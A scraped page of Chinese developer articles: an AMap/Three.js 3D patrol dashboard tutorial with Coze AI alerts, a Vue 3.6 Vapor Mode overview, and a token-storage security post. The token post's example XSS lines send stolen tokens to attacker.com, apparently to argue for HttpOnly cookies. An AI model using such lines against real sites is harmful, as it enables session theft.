训练与推理能力支持复杂模型的训练与推理,适合高需求场景适合简单任务的训练与推理
预训练模型支持支持从 TensorFlow Hub 加载预训练模型不支持广泛预训练模型,主要用于自定义训练

同系列文章推荐


如果你觉得本文对你有所帮助,不妨看看以下同系列文章,深入了解 AI 开发的更多可能性:



欢迎点击链接阅读,开启你的前端 AI 学习之旅,让开发更高效、更有趣! 🚀



我是 “一点一木


专注分享,因为分享能让更多人专注。


生命只有一次,人应这样度过:当回首往事时,不因虚度年华而悔恨,不因碌碌无为而羞愧。在有限的时间里,用善意与热情拥抱世界,不求回报,只为当回忆起曾经的点滴时,能无愧于心,温暖他人。



作者:一点一木
来源:juejin.cn/post/7459285932092211238
收起阅读 »

高德地图与Three.js结合实现3D大屏可视化

web
高德地图与Three.js结合实现3D大屏可视化 文末源码地址及视频演示 前言 在智慧城市安全管理场景中,如何将真实的地理信息与3D模型完美结合,实现沉浸式的可视化监控体验?本文将以巡逻犬管理系统的大屏预览功能为例,详细介绍如何通过高德地图API与Thre...
继续阅读 »

高德地图与Three.js结合实现3D大屏可视化



文末源码地址及视频演示



前言


在智慧城市安全管理场景中,如何将真实的地理信息与3D模型完美结合,实现沉浸式的可视化监控体验?本文将以巡逻犬管理系统的大屏预览功能为例,详细介绍如何通过高德地图API与Three.js深度结合,实现3D机械狗模型在地图上的实时巡逻展示。


1 整体效果 全屏展示.png


该系统实现了以下核心功能:



  • 在高德地图上加载并渲染3D机械狗模型

  • 实现模型沿预设路线的自动巡逻动画

  • 镜头自动跟随模型移动,提供沉浸式监控体验

  • 实时显示巡逻进度、告警信息等业务数据


技术栈



  • 高德地图 JS API 2.0:提供地图底图和空间定位能力

  • Three.js r157:3D模型渲染和动画控制

  • Loca 2.0:高德地图数据可视化API,用于镜头跟随

  • React + TypeScript:前端框架和类型支持

  • TWEEN.js:补间动画库,用于平滑的模型移动


一、高德地图初始化


1.1 地图配置


首先需要配置高德地图的加载参数,包括API Key、版本号等:


// src/utils/amapConfig.ts
export const mapConfig = {
key: 'your-amap-key',
version: '2.0',
Loca: {
version: '2.0.0', // Loca版本需与地图版本一致
},
};

// 初始化安全配置(必须在AMapLoader.load之前调用)
export const initAmapSecurity = () => {
if (typeof window !== 'undefined') {
(window as any)._AMapSecurityConfig = {
securityJsCode: 'your-security-code',
};
}
};

1.2 创建地图实例


使用AMapLoader.load加载地图API,然后创建地图实例:


// 设置安全密钥
initAmapSecurity();

// 加载高德地图
const AMap = await AMapLoader.load(mapConfig);

// 创建地图实例,开启3D视图模式
const mapInstance = new AMap.Map(mapContainerRef.current, {
zoom: 13,
center: defaultCenter,
viewMode: '3D', // 关键:必须开启3D模式
resizeEnable: true,
});

2 渲染高德地图日志.png


关键点



  • viewMode: '3D' 必须设置,否则无法使用3D相关功能

  • 需要提前设置安全密钥,否则会报错


1.3 初始化Loca容器


Loca是高德地图的数据可视化容器,用于实现镜头跟随等功能:


const loca = new (window as any).Loca.Container({
map: mapInstance,
zIndex: 9
});

二、创建GLCustomLayer自定义图层


GLCustomLayer是高德地图提供的WebGL自定义图层,允许我们在地图上渲染Three.js内容。


2.1 图层结构


const customLayer = new AMap.GLCustomLayer({
zIndex: 200, // 图层层级,确保模型在最上层
init: async (gl: any) => {
// 在这里初始化Three.js场景、相机、渲染器等
},
render: () => {
// 在这里执行每帧的渲染逻辑
},
});

mapInstance.add(customLayer);

2.2 初始化Three.js场景


init方法中创建Three.js的核心组件:


init: async (gl: any) => {
// 1. 创建透视相机
const camera = new THREE.PerspectiveCamera(
60, // 视野角度
window.innerWidth / window.innerHeight, // 宽高比
100, // 近裁剪面
1 << 30 // 远裁剪面(使用位运算表示大数值)
);

// 2. 创建WebGL渲染器
const renderer = new THREE.WebGLRenderer({
context: gl, // 使用地图提供的WebGL上下文
antialias: false, // 禁用抗锯齿,减少WebGL扩展需求
powerPreference: 'default',
});
renderer.autoClear = false; // 必须设置为false,否则地图底图无法显示
renderer.shadowMap.enabled = false; // 禁用阴影,避免WebGL扩展问题

// 3. 创建场景
const scene = new THREE.Scene();

// 4. 添加光源
const ambientLight = new THREE.AmbientLight(0xffffff, 1.0);
scene.add(ambientLight);

const directionalLight = new THREE.DirectionalLight(0xffffff, 1.2);
directionalLight.position.set(1000, -100, 900);
scene.add(directionalLight);
}

关键点



  • renderer.autoClear = false 必须设置,否则会清除地图底图

  • 使用地图提供的gl上下文创建渲染器,实现资源共享


3 坐标轴辅助线.png


三、坐标系统转换


高德地图使用经纬度坐标(WGS84),而Three.js使用3D世界坐标,两者之间的转换是关键。


3.1 获取自定义坐标系统


地图实例提供了customCoords工具,用于坐标转换:


// 获取自定义坐标系统
const customCoords = mapInstance.customCoords;

// 设置坐标系统中心点(重要:必须在设置模型位置前设置)
const center = mapInstance.getCenter();
customCoords.setCenter([center.lng, center.lat]);

3.2 经纬度转3D坐标


使用lngLatsToCoords方法将经纬度转换为Three.js坐标:


// 将经纬度 [lng, lat] 转换为Three.js坐标 [x, z, y?]
const position = customCoords.lngLatsToCoords([
[120.188767, 30.193832]
])[0];

// 注意:返回的数组格式为 [x, z, y?]
// position[0] 对应 Three.js 的 z 轴(纬度)
// position[1] 对应 Three.js 的 x 轴(经度)
// position[2] 对应 Three.js 的 y 轴(高度,可选)

robotGr0up.position.setX(position[1]); // x坐标(经度)
robotGr0up.position.setZ(position[0]); // z坐标(纬度)
robotGr0up.position.setY(position.length > 2 ? position[2] : 0); // y坐标(高度)

坐标轴对应关系



  • 高德地图:X轴(经度),Y轴(纬度),Z轴(高度)

  • Three.js:X轴(右),Y轴(上),Z轴(前)

  • 转换后:position[1] → Three.js X轴,position[0] → Three.js Z轴


3.3 同步相机参数


render方法中,需要同步高德地图的相机参数到Three.js相机:


render: () => {
const { near, far, fov, up, lookAt, position } = customCoords.getCameraParams();

// 同步相机参数
camera.near = near;
camera.far = far;
camera.fov = fov;
camera.position.set(position[0], position[1], position[2]);
camera.up.set(up[0], up[1], up[2]);
camera.lookAt(lookAt[0], lookAt[1], lookAt[2]);
camera.updateProjectionMatrix();

// 渲染场景
renderer.render(scene, camera);

// 必须执行:重新设置three的gl上下文状态
renderer.resetState();
}

四、加载3D模型


4.1 使用GLTFLoader加载模型


import { GLTFLoader } from 'three/examples/jsm/loaders/GLTFLoader';

const loader = new GLTFLoader();
const modelPath = '/assets/modules/robot_dog/scene.gltf';

const gltf = await new Promise<any>((resolve, reject) => {
loader.load(
modelPath,
(gltf: any) => resolve(gltf),
(progress: any) => {
if (progress.total > 0) {
const percent = (progress.loaded / progress.total) * 100;
console.log('模型加载进度:', percent.toFixed(2) + '%');
}
},
reject
);
});

const robotModel = gltf.scene;

4.2 模型预处理


加载模型后需要进行预处理,包括材质优化、位置调整等:


// 遍历模型所有子对象
robotModel.traverse((child: THREE.Object3D) => {
if (child instanceof THREE.Mesh) {
// 禁用阴影相关功能
child.castShadow = false;
child.receiveShadow = false;

// 简化材质,避免使用需要WebGL扩展的高级特性
if (child.material) {
const materials = Array.isArray(child.material)
? child.material
: [child.material];

materials.forEach((mat: any) => {
// 禁用transmission等高级特性
if (mat.transmission !== undefined) {
mat.transmission = 0;
}
});
}
}
});

// 计算模型边界框并居中
const box = new THREE.Box3().setFromObject(robotModel);
const center = box.getCenter(new THREE.Vector3());

// 将模型居中(X和Z轴)
robotModel.position.x = -center.x;
robotModel.position.z = -center.z;
// 将模型底部放在y=0
robotModel.position.y = -box.min.y;

// 设置模型缩放
const scale = 15;
robotModel.scale.set(scale, scale, scale);

4.3 创建模型组并设置初始旋转


由于高德地图和Three.js的坐标系差异,需要调整模型的初始旋转:


// 创建外层Gr0up用于位置和旋转控制
const robotGr0up = new THREE.Gr0up();
robotGr0up.add(robotModel);

// 设置初始旋转(90, 90, 0)度转换为弧度
const initialRotationX = (Math.PI / 180) * 90;
const initialRotationY = (Math.PI / 180) * 90;
const initialRotationZ = (Math.PI / 180) * 0;
robotGr0up.rotation.set(initialRotationX, initialRotationY, initialRotationZ);

scene.add(robotGr0up);

五、实现镜头跟随


5.1 使用Loca实现镜头跟随


高德地图的Loca API提供了viewControl.addTrackAnimate方法,可以实现镜头自动跟随路径移动:


// 计算路径总距离
let totalDistance = 0;
for (let i = 0; i < paths.length - 1; i++) {
totalDistance += AMap.GeometryUtil.distance(paths[i], paths[i + 1]);
}

// 假设速度是 1.5 m/s
const speed = 1.5;
const duration = (totalDistance / speed) * 1000; // 转换为毫秒

loca.viewControl.addTrackAnimate({
path: paths, // 镜头轨迹,二维数组
duration: duration, // 时长(毫秒)
timing: [[0, 0.3], [1, 0.7]], // 速率控制器
rotationSpeed: 180, // 每秒旋转多少度
}, function () {
console.log('单程巡逻完成');
// 可以在这里处理往返逻辑
});

loca.animate.start(); // 启动动画

5.2 模型位置同步


render方法中,根据地图中心点实时更新模型位置:


render: () => {
// ... 同步相机参数代码 ...

if (robotGr0up && mapInstance && !patrolFinishedRef.current) {
// 获取当前地图中心(镜头跟随会改变地图中心)
const center = mapInstance.getCenter();
if (center) {
// 更新坐标系统中心点为地图中心点
customCoords.setCenter([center.lng, center.lat]);

// 将地图中心转换为Three.js坐标
const position = customCoords.lngLatsToCoords([
[center.lng, center.lat]
])[0];

// 更新模型位置
robotGr0up.position.setX(position[1]);
robotGr0up.position.setZ(position[0]);
robotGr0up.position.setY(position.length > 2 ? position[2] : 0);

// 更新模型旋转(根据地图旋转)
const rotation = mapInstance.getRotation();
if (rotation !== undefined) {
const initialRotationY = (Math.PI / 180) * 90;
robotGr0up.rotation.y = initialRotationY + (rotation * Math.PI / 180);
}
}
}

// 渲染场景
renderer.render(scene, camera);
renderer.resetState();
}

关键点



  • 使用地图中心点作为模型位置,实现精确跟随

  • 在每次render中更新坐标系统中心点,确保坐标转换准确

  • 同步地图旋转角度到模型Y轴旋转


2025-12-21 11.55.23.gif


六、巡逻动画实现


6.1 启动巡逻


当模型加载完成并设置好初始位置后,可以启动巡逻动画:


const startPatrol = (paths: number[][], mapInstance: any, AMap: any) => {
// 停止之前的巡逻
TWEEN.removeAll();
patrolFinishedRef.current = false;

// 保存路径
patrolPathsRef.current = paths;
patrolIndexRef.current = 0;

// 播放前进动画
playAnimation('1LYP'); // 播放行走动画

// 设置坐标系统中心点为路径起点
const firstPoint = paths[0];
customCoordsRef.current.setCenter([firstPoint[0], firstPoint[1]]);

// 使用Loca实现镜头跟随
const loca = locaRef.current;
if (loca) {
// ... addTrackAnimate 代码 ...
}

// 启动模型移动动画
changeObject();
};

6.2 模型移动动画


使用TWEEN.js实现模型在路径点之间的平滑移动:


const changeObject = () => {
if (patrolFinishedRef.current || patrolIndexRef.current >= patrolPathsRef.current.length - 1) {
return;
}

const sp = patrolPathsRef.current[patrolIndexRef.current];
const ep = patrolPathsRef.current[patrolIndexRef.current + 1];
const s = new THREE.Vector2(sp[0], sp[1]);
const e = new THREE.Vector2(ep[0], ep[1]);

const speed = 0.03;
const dis = AMap.GeometryUtil.distance(sp, ep);

if (dis <= 0) {
patrolIndexRef.current++;
changeObject();
return;
}

// 使用TWEEN实现平滑移动
new TWEEN.Tween(s)
.to(e.clone(), dis / speed / speedFactor)
.start()
.onUpdate((v) => {
// 更新模型经纬度引用
modelLngLatRef.current = [v.x, v.y];

// 节流更新状态(每100ms更新一次)
const now = Date.now();
if (now - lastUpdateTimeRef.current > 100) {
setCurrentLngLat([v.x, v.y]);
checkSamplePoint([v.x, v.y], AMap); // 检测取样点
// 计算已巡逻长度
updatePatrolledLength(v);
lastUpdateTimeRef.current = now;
}
})
.onComplete(() => {
accumulatedLengthRef.current += dis;

if (patrolIndexRef.current < patrolPathsRef.current.length - 2) {
patrolIndexRef.current++;
changeObject(); // 继续下一段
} else {
// 单程完成
if (patrolMode !== '往返') {
patrolFinishedRef.current = true;
playAnimation('1Idle'); // 播放静止动画
}
}
});
};

6.3 动画系统


模型支持多种动画(行走、静止、跳舞等),使用AnimationMixer管理:


// 设置动画系统
if (gltf.animations && gltf.animations.length > 0) {
const mixer = new THREE.AnimationMixer(robotModel);

// 创建所有动画动作
const actions = new Map<string, THREE.AnimationAction>();
gltf.animations.forEach((clip: THREE.AnimationClip) => {
const action = mixer.clipAction(clip);
action.setLoop(THREE.LoopRepeat); // 循环播放
actions.set(clip.name, action);
});

// 播放默认静止动画
const defaultAction = actions.get('1Idle');
if (defaultAction) {
defaultAction.setEffectiveTimeScale(0.6); // 设置播放速度
defaultAction.fadeIn(0.3);
defaultAction.play();
}
}

// 在render循环中更新动画
const render = () => {
requestAnimationFrame(() => {
render();
});

// 更新动画混合器
if (mixer) {
const currentTime = performance.now();
const delta = (currentTime - lastAnimationTime) / 1000;
mixer.update(delta);
lastAnimationTime = currentTime;
}

// 更新TWEEN动画
TWEEN.update();

// 渲染地图
mapInstance.render();
};


图片略大,耐心等候



5 动画切换.gif


七、AI安全隐患自动检测与告警


系统集成了Coze AI大模型,实现了巡逻过程中的自动安全隐患检测和告警功能。当机械狗沿路线巡逻时,系统会在预设的取样点自动触发AI分析,识别潜在的安全隐患。


7.1 取样点计算


系统支持基于路线间隔的自动取样点计算,根据巡逻犬配置的取样间隔(如每50米、100米等),在路线上均匀分布取样点:


// 计算取样点(基于路线间隔)
const calculateSamplePoints = (
paths: number[][],
sampleInterval: number,
AMap: any
): Array<{ lng: number; lat: number; distance: number }> => {
const samplePoints: Array<{ lng: number; lat: number; distance: number }> = [];
let accumulatedDistance = 0;

// 从第一个点开始(0米处)
samplePoints.push({
lng: paths[0][0],
lat: paths[0][1],
distance: 0,
});

// 遍历路径,计算每个取样点
for (let i = 0; i < paths.length - 1; i++) {
const currentPoint = paths[i];
const nextPoint = paths[i + 1];
const segmentDistance = AMap.GeometryUtil.distance(currentPoint, nextPoint);

// 检查当前段是否包含取样点
while (accumulatedDistance + segmentDistance >= (samplePoints.length * sampleInterval)) {
const targetDistance = samplePoints.length * sampleInterval;
const distanceInSegment = targetDistance - accumulatedDistance;

// 计算取样点在当前段中的位置(线性插值)
const ratio = distanceInSegment / segmentDistance;
const sampleLng = currentPoint[0] + (nextPoint[0] - currentPoint[0]) * ratio;
const sampleLat = currentPoint[1] + (nextPoint[1] - currentPoint[1]) * ratio;

samplePoints.push({
lng: sampleLng,
lat: sampleLat,
distance: targetDistance,
});
}

accumulatedDistance += segmentDistance;
}

return samplePoints;
};

关键点



  • 使用高德地图的GeometryUtil.distance计算路径段距离

  • 通过线性插值计算取样点的精确位置

  • 取样点从路线起点开始,按固定间隔均匀分布


7.2 自动触发检测


在巡逻过程中,系统实时检测模型位置是否到达取样点附近(±10米范围内):


// 检测是否到达取样点
const checkSamplePoint = (currentLngLat: [number, number], AMap: any) => {
const patrolDog = currentPatrolDogRef.current;
const route = currentRouteRefForSample.current;
const area = currentAreaRefForSample.current;

if (!patrolDog || !route || !patrolDog.cameraDeviceId) {
return; // 没有绑定摄像头,不进行取样
}

// 检查取样方式(必须是"路线间隔"模式)
if (patrolDog.sampleMode !== '路线间隔' || !patrolDog.sampleInterval) {
return;
}

// 检查是否在取样点附近(±10米范围内)
for (let i = 0; i < samplePointsRef.current.length; i++) {
if (processedSamplePointsRef.current.has(i)) {
continue; // 已处理过,跳过
}

const samplePoint = samplePointsRef.current[i];
const distance = AMap.GeometryUtil.distance(
[currentLngLat[0], currentLngLat[1]],
[samplePoint.lng, samplePoint.lat]
);

// 在 ±10 米范围内,触发取样
if (distance <= 10) {
console.log(`✅ 到达取样点 ${i + 1}/${samplePointsRef.current.length}`);
processedSamplePointsRef.current.add(i);

// 异步调用 Coze API(不阻塞巡逻)
analyzeSecurity(
patrolDog,
route,
area,
currentLngLat,
AMap
).catch(error => {
console.error('安全隐患分析失败:', error);
});

break; // 一次只处理一个取样点
}
}
};

关键点



  • 使用距离判断,避免重复触发

  • 异步调用AI分析,不阻塞巡逻动画

  • 使用Set记录已处理的取样点,确保每个点只处理一次


7.3 调用Coze API进行安全隐患分析


系统使用Coze平台的大模型工作流进行图像安全隐患分析:


// 调用 Coze API 进行安全隐患分析
const analyzeSecurity = async (
patrolDog: PatrolDog,
route: Route,
area: Area | null,
currentLngLat: [number, number],
AMap: any
): Promise<void> => {
try {
// 1. 获取默认令牌
await initDB();
const tokens = await db.token.getAll();
const validTokens = tokens.filter(token => Date.now() <= token.expireDate);
if (validTokens.length === 0) {
console.warn('没有可用的令牌,跳过安全隐患分析');
return;
}

const defaultToken = validTokens.find(t => t.isDefault) || validTokens[0];

// 2. 准备分析数据
// 随机选择一张测试图片(实际应用中应使用摄像头实时抓拍)
const randomImageUrl = imageUrlr[Math.floor(Math.random() * imageUrlr.length)];

// 构建输入文本,描述当前巡逻场景
const inputText = `${patrolDog.name}当前在${area?.name || '未知'}区域${route.name}巡逻时抓拍了一张照片。分析是否存在安全隐患`;

// 3. 创建 Coze API 客户端
const apiClient = new CozeAPI({
token: defaultToken.token,
baseURL: 'https://api.coze.cn',
allowPersonalAccessTokenInBrowser: true,
});

// 4. 调用工作流
const workflow_id = '7585585625312034858';
const res = await apiClient.workflows.runs.create({
workflow_id: workflow_id,
parameters: {
input: inputText,
mediaUrl: randomImageUrl,
},
});

// 5. 解析返回结果
let analysisResult: { securityType: number; score: number; desc: string } | null = null;

if (res.data) {
const dataObj = typeof res.data === 'string' ? JSON.parse(res.data) : res.data;

if (dataObj.output && typeof dataObj.output === 'string') {
// 提取 markdown 代码块中的 JSON
const jsonMatch = dataObj.output.match(/```json\s*([\s\S]*?)\s*```/) ||
dataObj.output.match(/```\s*([\s\S]*?)\s*```/);

if (jsonMatch && jsonMatch[1]) {
analysisResult = JSON.parse(jsonMatch[1].trim());
} else {
// 尝试直接解析 output 为 JSON
analysisResult = JSON.parse(dataObj.output);
}
} else {
analysisResult = dataObj;
}
}

// 6. 判断是否是报警(securityType !== 0 且 score !== 0)
if (analysisResult && analysisResult.securityType !== 0 && analysisResult.score !== 0) {
// 保存到分析报警表
const analysisAlert: Omit<AnalysisAlert, 'id' | 'createTime' | 'updateTime'> = {
alertTime: Date.now(),
patrolDogId: patrolDog.id!,
patrolDogName: patrolDog.name,
cameraDeviceId: patrolDog.cameraDeviceId,
cameraDeviceName: patrolDog.cameraDeviceName,
routeId: route.id!,
routeName: route.name,
areaId: area?.id,
areaName: area?.name,
securityType: analysisResult.securityType as 0 | 1 | 2 | 3 | 4 | 5,
score: analysisResult.score,
desc: analysisResult.desc,
mediaUrl: randomImageUrl,
input: inputText,
status: '未处理',
};

await db.analysisAlert.add(analysisAlert);
console.log('✅ 安全隐患告警已保存');

// 更新告警列表(实时显示在大屏右侧)
updateAlertList(patrolDog.id!, route.id!, area?.id);
} else {
console.log('未发现安全隐患,不保存报警');
}
} catch (error) {
console.error('调用 Coze API 失败:', error);
}
};

API返回结果格式


{
"securityType": 1, // 0=无隐患, 1=明火燃烟, 2=打架斗殴, 3=违章停车, 4=杂物堆放, 5=私搭乱建
"score": 85, // 严重程度评分 (0-100)
"desc": "检测到明火,存在严重安全隐患" // 详细描述
}

关键点



  • 使用@coze/api官方SDK调用工作流API

  • 支持多种安全隐患类型识别(明火燃烟、打架斗殴、违章停车等)

  • 自动保存告警记录,支持后续查询和处理

  • 告警信息实时显示在大屏右侧告警列表中


6 报警.png


7.4 Coze测试页面


系统提供了专门的Coze测试页面,方便开发者测试和调试AI分析功能。在Coze测试页面中,可以:



  1. 选择令牌:从已配置的Coze API令牌中选择(支持多个令牌管理)

  2. 输入分析文本:描述需要分析的场景

  3. 上传图片URL:提供需要分析的图片地址

  4. 自动填充功能:点击"自动填充"按钮,快速填充默认的测试数据

  5. 查看完整响应:显示Coze API的完整返回结果,包括解析后的JSON和原始响应


// Coze测试页面核心功能
const handleTest = async () => {
const values = await form.validateFields();

// 创建 Coze API 客户端
const apiClient = new CozeAPI({
token: values.token,
baseURL: 'https://api.coze.cn',
allowPersonalAccessTokenInBrowser: true,
});

// 调用工作流
const workflow_id = '7585585625312034858';
const res = await apiClient.workflows.runs.create({
workflow_id: workflow_id,
parameters: {
input: values.input,
mediaUrl: values.mediaUrl,
},
});

// 解析并显示结果
// ... 解析逻辑 ...
};

测试页面特性



  • 自动填充数据:提供默认的测试图片和文本,方便快速测试

  • 图片预览:实时预览输入的图片URL

  • 完整响应展示:显示API的完整响应,便于调试

  • 错误处理:友好的错误提示,帮助定位问题



请截图 Coze测试页面 自动填充功能 测试结果展示



使用场景



  • 测试新的安全隐患识别算法

  • 验证Coze API令牌是否有效

  • 调试API返回结果格式

  • 验证图片URL是否可被Coze解析


image.png


八、性能优化建议


7.1 渲染优化



  • 禁用不必要的WebGL扩展(如阴影、抗锯齿)

  • 使用requestAnimationFrame统一管理渲染循环

  • 合理设置模型LOD(细节层次)


7.2 内存管理



  • 及时清理不需要的TWEEN动画:TWEEN.removeAll()

  • 组件卸载时销毁Three.js资源

  • 模型加载后缓存,避免重复加载


7.3 坐标转换优化



  • 坐标系统中心点跟随地图中心,减少转换误差

  • 使用节流控制状态更新频率

  • 避免在render中进行复杂计算


九、常见问题解决


8.1 模型不显示


问题:模型加载成功但在地图上不可见


解决方案



  • 检查renderer.autoClear是否设置为false

  • 确认坐标转换是否正确(注意数组索引对应关系)

  • 检查模型缩放是否合适(可能太小或太大)


8.2 模型位置偏移


问题:模型位置与预期不符


解决方案



  • 确保在设置模型位置前调用customCoords.setCenter()

  • 检查坐标轴对应关系(position[1]对应X轴,position[0]对应Z轴)

  • 使用AxesHelper辅助调试坐标轴方向


8.3 镜头跟随不流畅


问题:镜头跟随有延迟或卡顿


解决方案



  • 调整rotationSpeed参数,控制旋转速度

  • 优化timing速率控制器,实现更平滑的加速减速

  • 检查render循环是否正常执行


十、总结


通过高德地图与Three.js的深度结合,我们成功实现了3D模型在地图上的实时展示和动画效果,并集成了AI大模型实现智能安全隐患检测。核心要点包括:



  1. GLCustomLayer是关键桥梁:通过自定义图层实现Three.js与高德地图的融合

  2. 坐标转换是核心:正确理解和使用customCoords进行坐标转换

  3. 镜头跟随提升体验:使用Loca API实现平滑的镜头跟随效果

  4. AI智能检测增强功能:集成Coze大模型实现自动安全隐患识别和告警

  5. 性能优化不可忽视:合理配置渲染参数,避免不必要的WebGL扩展


技术亮点



  • 虚实结合:真实地理信息与3D模型的完美融合

  • 智能检测:基于AI大模型的自动安全隐患识别

  • 实时告警:巡逻过程中的实时检测和告警推送

  • 可视化展示:沉浸式大屏监控体验


这种技术方案不仅适用于巡逻犬管理系统,还可以扩展到智慧城市、物流追踪、车辆监控、园区安防等多个场景,为空间数据可视化提供了强大的技术支撑。通过AI能力的集成,系统从传统的可视化展示升级为智能化的安全监控平台,实现了"看得见、管得住、能预警"的完整闭环。


参考资源



http://www.bilibili.com/video/BV18c…


作者:孙_华鹏
来源:juejin.cn/post/7589482741759819803
收起阅读 »

Vue 3.6 将正式进入「无虚拟 DOM」时代!

web
“干掉虚拟 DOM” 的口号喊了好几年,现在 Vue 终于动手了。 就在前天,Vue 3.6 alpha 带着 Vapor Mode 低调上线:编译期直接把模板编译成精准 DOM 操作,不写 VNode、不 diff,包更小、跑得更快。 不同于社区实验,Va...
继续阅读 »

“干掉虚拟 DOM” 的口号喊了好几年,现在 Vue 终于动手了。


就在前天,Vue 3.6 alpha 带着 Vapor Mode 低调上线:编译期直接把模板编译成精准 DOM 操作,不写 VNode、不 diff,包更小、跑得更快。



不同于社区实验,Vapor ModeVue 官方给出的「标准答案」:



  • 依旧是熟悉的单文件组件,只是 <script setup> 上加一个 vapor 开关;

  • 依旧是响应式系统,但运行时不再生成 VNode,编译期直接把模板转换成精准的原生 DOM 操作;

  • SvelteSolid 的最新基准横向对比,性能曲线几乎重合,首屏 JS 体积却再降 60%。


换句话说,Vue 没有「另起炉灶」,而是让开发者用同一套心智模型,一键切换到「无虚拟 DOM」的快车道。


接下来 5 分钟,带你一次看懂 Vapor Mode 的底层逻辑、迁移姿势和未来路线图。


什么是 Vapor Mode?


一句话总结:把虚拟 DOM 编译掉,组件直接操作真实 DOM,包体更小、跑得更快。



  • 100% 可选,旧代码无痛共存。

  • 仅支持 <script setup> 的 SFC,加一个 vapor 开关即可。

  • SolidSvelte 5 在第三方基准测试里打平,甚至局部领先。


<script setup vapor>
// 你的组件逻辑无需改动
</script>

性能有多夸张?


官方给出的数字:


场景传统 VDOMVapor Mode
Hello World 包体积22.8 kB7.9 kB ⬇️ 65%
复杂列表 diff0.6× ⬇️ 40%
内存峰值100%58% ⬇️ 42%

一句话:首屏 JS 少了三分之二,运行时内存直接腰斩。


能不能直接上生产?


alpha 阶段,官方给出“三用三不用”原则:


推荐这样做



  • 局部替换:把首页、营销页等性能敏感模块切到 Vapor

  • 新项目:脚手架直接 createVaporApp,享受极简 bundle。

  • 内部尝鲜:提 Issue跑测试、贡献 PR,帮社区踩坑。


暂时别这样



  • 现有组件整体迁移(API 未 100% 对标)。

  • 依赖 NuxtTransitionKeepAlive 的项目(还在支持的路上)。

  • 深度嵌套第三方 VDOM 组件库(边界 case 仍可能翻车)。


开发者最关心的 5 个问题



  • 旧代码要改多少?

    不用改!只要 <script setup>vapor。Options API 用户请原地踏步。

  • 自定义指令怎么办?

    新接口更简单:接收一个响应式 getter,返回清理函数即可。官方已给出 codemod,一键迁移。

  • 还能不能用 Element Plus / Ant Design Vue?

    可以,但需加 vaporInteropPlugin。目前仅限标准 props事件插槽,复杂组件可能有坑。

  • TypeScript 支持如何?

    完全保持现有类型推导,新增 VaporComponent 类型已同步到 @vue/runtime-core

  • 和 React Forget、Angular Signal 比谁快?

    基准测试在同一梯队,但 Vue 的迁移成本最低——同一份代码,加个属性就提速。


一行代码,立刻体验



  • 纯 Vapor 应用(最小体积)


import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')


  • 在现有 Vue 项目中混合使用


import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App)
.use(vaporInteropPlugin)
.mount('#app')

使用时只需在单文件组件的 <script setup> 标签上加 vapor 属性即可启用新模式。


<script setup vapor>
// 你的组件逻辑无需改动
</script>

打开浏览器,Network 面板里 app.js 只有 8 kB,简直离谱。


写在最后


2014 年的响应式系统,到 2020Composition API,再到 2025 的 Vapor Mode,Vue 每一次大版本都在**“把复杂留给自己,把简单留给开发者”**。


这一次,尤大不仅把虚拟 DOM 编译没了,还把“性能焦虑”一起编译掉了。


领先的不只是速度,还有对开发者体验的极致尊重。


Vue 3.6 正式版预计 Q3 发布,现在开始试 alpha,刚刚好。



作者:前端开发爱好者
来源:juejin.cn/post/7526383867101937718
收起阅读 »

面试官最爱挖的坑:用户 Token 到底该存哪?

web
面试官问:"用户 token 应该存在哪?" 很多人脱口而出:localStorage。 这个回答不能说错,但远称不上好答案。 一个好答案,至少要说清三件事: 有哪些常见存储方式,它们的优缺点是什么 为什么大部分团队会从 localStorage 迁移到 H...
继续阅读 »

面试官问:"用户 token 应该存在哪?"


很多人脱口而出:localStorage。


这个回答不能说错,但远称不上好答案


一个好答案,至少要说清三件事:



  • 有哪些常见存储方式,它们的优缺点是什么

  • 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie

  • 实际项目里怎么落地、怎么权衡「安全 vs 成本」


这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。




三种存储方式,一张图看懂差异


前端存 token,主流就三种:


flowchart LR
subgraph 存储方式
A[localStorage]
B[普通 Cookie]
C[HttpOnly Cookie]
end

subgraph 安全特性
D[XSS 可读取]
E[CSRF 会发送]
end

A -->|是| D
A -->|否| E
B -->|是| D
B -->|是| E
C -->|否| D
C -->|是| E

style A fill:#f8d7da,stroke:#dc3545
style B fill:#f8d7da,stroke:#dc3545
style C fill:#d4edda,stroke:#28a745

存储方式XSS 能读到吗CSRF 会自动带吗推荐程度
localStorage不会不推荐存敏感数据
普通 Cookie不推荐
HttpOnly Cookie不能推荐



localStorage:用得最多,但也最容易出事


大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:


// 登录成功后
localStorage.setItem('token', response.accessToken);

// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {
headers: { Authorization: `Bearer ${token}` }
});

用起来确实方便,但有个致命问题:XSS 攻击可以直接读取


localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:


// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))

你可能会想:"我的代码没有 XSS 漏洞。"


现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。




普通 Cookie:XSS 能读,CSRF 还会自动带


有人会往 Cookie 上靠拢:"那我存 Cookie 里,是不是就更安全了?"


如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:


// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;

// 攻击者同样能读到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

XSS 能读,CSRF 还会自动带上——两头不讨好




HttpOnly Cookie:让 XSS 偷不走 Token


真正值得推荐的,是 HttpOnly Cookie


它的核心优势只有一句话:JavaScript 读不到


// 后端设置(Node.js 示例)
res.cookie('access_token', token, {
httpOnly: true, // JS 访问不到
secure: true, // 只在 HTTPS 发送
sameSite: 'lax', // 防 CSRF
maxAge: 3600000 // 1 小时过期
});

设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。


// 前端发请求,浏览器自动带上 Cookie
fetch('/api/user', {
credentials: 'include'
});

// 攻击者的 XSS 脚本
document.cookie // 看不到 httpOnly 的 Cookie,偷不走



HttpOnly Cookie 的代价:需要正面面对 CSRF


HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF


